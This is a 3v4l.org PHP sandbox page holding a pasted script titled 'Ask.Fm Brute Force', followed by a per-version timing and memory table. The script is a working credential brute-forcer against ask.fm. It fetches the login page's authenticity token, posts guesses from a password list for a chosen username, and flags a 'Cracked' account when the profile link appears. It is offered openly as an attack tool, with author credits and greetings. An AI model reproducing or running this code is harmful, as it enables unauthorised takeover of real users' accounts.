3v4l.org

run code in 300+ PHP versions simultaneously
<? # Coded By : Knowledge Hunter # Greet'z : GRENXPARTa - Mr K - Ice Cream echo "<form method='POST'><title>Ask.Fm Brute Force</title><center> <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br> <input name='username' placeholder='username'><br> <textarea cols='20' rows='15' name='pass'></textarea><br> <input type='submit' value='Brute' /><br></form>"; @set_time_limit(0); @error_reporting(0); $site = "http://ask.fm/login/"; $username = $_POST['username']; $passl = explode("\r\n", $_POST['pass']); foreach($passl as $pass) { $hash = token($site); $x = brute($hash,$username,$pass); if(preg_match('/<a href="(.*?)" class="link-menu" data-rlt-aid="tlb_menu_answers">Profile/', $x)) { //print $x; print "<br>[+] Cracked : <font face='Tahoma' size='2' color='red'><b>{$username}</b></font> / <font face='Tahoma' size='2' color='red'><b>{$pass}</b></font>"; flush();flush(); break; } } # extract auth_token function token($site) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, $site); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $b0x = curl_exec($curl); preg_match('/<input name="authenticity_token" type="hidden" value="(.*?)" /' ,$b0x ,$token); return $token[1]; } # brute function brute($hash,$username,$pass) { $curl = curl_init(); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl, CURLOPT_URL, "http://ask.fm/session"); curl_setopt($curl, CURLOPT_POSTFIELDS, "authenticity_token={$hash}&login={$username}&password={$pass}&commit=Log+in"); curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt"); curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt"); $brute = curl_exec($curl); return $brute; } @system("del cookie.txt"); @system("rm cookie.txt"); echo "<br><br><font face='Tahoma' size='2'>[+] Coded By : Knowledge Hunter | Homepage: knowledge-h.blogspot.com <br> Greet'z : GRENXPARTa - Mr K - Ice-cream</font>"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01416.36
8.3.50.0200.00522.04
8.3.40.0000.01518.72
8.3.30.0100.01018.59
8.3.20.0040.00420.33
8.3.10.0080.00023.66
8.3.00.0060.00319.72
8.2.180.0140.00716.63
8.2.170.0060.00922.96
8.2.160.0160.00320.30
8.2.150.0040.00424.18
8.2.140.0050.00324.66
8.2.130.0040.00420.94
8.2.120.0040.00426.35
8.2.110.0030.00622.07
8.2.100.0040.00717.72
8.2.90.0030.00618.22
8.2.80.0080.00017.97
8.2.70.0030.00617.50
8.2.60.0080.00017.65
8.2.50.0080.00018.07
8.2.40.0060.00322.12
8.2.30.0030.00720.60
8.2.20.0040.00417.60
8.2.10.0040.00417.83
8.2.00.0000.00718.04
8.1.280.0100.01025.92
8.1.270.0090.00921.99
8.1.260.0070.00028.09
8.1.250.0070.00028.09
8.1.240.0060.00322.19
8.1.230.0130.00020.89
8.1.220.0080.00017.74
8.1.210.0000.00818.77
8.1.200.0060.00317.10
8.1.190.0050.00317.10
8.1.180.0000.00818.10
8.1.170.0060.00318.55
8.1.160.0040.00420.63
8.1.150.0000.00718.71
8.1.140.0000.00819.34
8.1.130.0000.00717.57
8.1.120.0050.00317.39
8.1.110.0000.00717.21
8.1.100.0050.00317.23
8.1.90.0040.00417.36
8.1.80.0000.00717.27
8.1.70.0030.00317.31
8.1.60.0040.00417.50
8.1.50.0080.00017.27
8.1.40.0060.00317.38
8.1.30.0090.00017.46
8.1.20.0000.00717.51
8.1.10.0000.00717.35
8.1.00.0050.00317.27
8.0.300.0000.00720.02
8.0.290.0000.00816.63
8.0.280.0070.00018.42
8.0.270.0030.00317.18
8.0.260.0030.00617.09
8.0.250.0070.00016.85
8.0.240.0030.00316.83
8.0.230.0030.00316.89
8.0.220.0000.00716.65
8.0.210.0040.00416.73
8.0.200.0000.00616.71
8.0.190.0050.00316.82
8.0.180.0000.00816.76
8.0.170.0040.00416.67
8.0.160.0040.00416.85
8.0.150.0000.00716.60
8.0.140.0000.00716.71
8.0.130.0030.00313.36
8.0.120.0060.00316.73
8.0.110.0050.00216.82
8.0.100.0040.00416.66
8.0.90.0000.00716.72
8.0.80.0130.01016.70
8.0.70.0050.00316.63
8.0.60.0000.00716.73
8.0.50.0040.00416.80
8.0.30.0060.01216.96
8.0.20.0080.01417.40
8.0.10.0040.00416.77
8.0.00.0080.00916.59
7.4.330.0050.00016.84
7.4.320.0060.00016.29
7.4.300.0070.00016.28
7.4.290.0000.00716.51
7.4.280.0000.00816.45
7.4.270.0000.00716.33
7.4.260.0040.00416.35
7.4.250.0050.00216.34
7.4.240.0050.00216.40
7.4.230.0070.00016.50
7.4.220.0090.00916.50
7.4.210.0100.01016.50
7.4.200.0000.00816.35
7.4.160.0170.00316.31
7.4.150.0160.00917.40
7.4.140.0080.01317.86
7.4.130.0120.00816.47
7.4.120.0030.01416.34
7.4.110.0070.01016.58
7.4.100.0060.01116.28
7.4.90.0100.00716.32
7.4.80.0090.00719.39
7.4.70.0070.01016.35
7.4.60.0090.00916.47
7.4.50.0100.00316.36
7.4.40.0060.01116.46
7.4.30.0160.00716.16
7.4.00.0080.00814.54
7.3.330.0030.00613.33
7.3.320.0000.00613.33
7.3.310.0040.00416.16
7.3.300.0030.00316.04
7.3.290.0100.00616.16
7.3.280.0100.00816.13
7.3.270.0120.00317.40
7.3.260.0140.00316.40
7.3.250.0120.00716.36
7.3.240.0030.01616.45
7.3.230.0060.01116.39
7.3.210.0070.01016.53
7.3.200.0110.00616.43
7.3.190.0120.00916.20
7.3.180.0120.00316.52
7.3.170.0100.00616.36
7.3.160.0060.01516.39
7.2.330.0070.01016.22
7.2.320.0170.00016.41
7.2.310.0110.00816.57
7.2.300.0070.01016.39
7.2.290.0120.00916.35
7.2.60.0220.00316.90
7.2.00.0030.01019.35
7.1.200.0030.01315.81
7.1.100.0060.00318.32
7.1.70.0000.00717.18
7.1.60.0060.01819.05
7.1.50.0040.00716.77
7.1.00.0000.08022.33
7.0.200.0060.00316.57
7.0.60.0070.08319.98
7.0.50.0000.04318.00
7.0.40.0030.04319.96
7.0.30.0270.05720.24
7.0.20.0400.06720.12
7.0.10.0030.07320.24
7.0.00.0000.07320.32
5.6.280.0000.03721.08
5.6.210.0030.04320.62
5.6.200.0030.08018.19
5.6.190.0070.04020.39
5.6.180.0200.08720.67
5.6.170.0270.04320.71
5.6.160.0130.07320.55
5.6.150.0100.08718.18
5.6.140.0170.06718.23
5.6.130.0000.09018.17
5.6.120.0130.04321.02
5.6.110.0100.05720.99
5.6.100.0070.08320.98
5.6.90.0370.06321.14
5.6.80.0000.08720.53
5.5.350.0070.08720.34
5.5.340.0030.04018.09
5.5.330.0100.08320.27
5.5.320.0330.06020.52
5.5.310.0330.05720.20
5.5.300.0030.04017.95
5.5.290.0170.07317.97
5.5.280.0000.04720.89
5.5.270.0030.04320.88
5.5.260.0070.08720.88
5.5.250.0100.08020.59
5.5.240.0200.07320.27

preferences:
57.92 ms | 401 KiB | 5 Q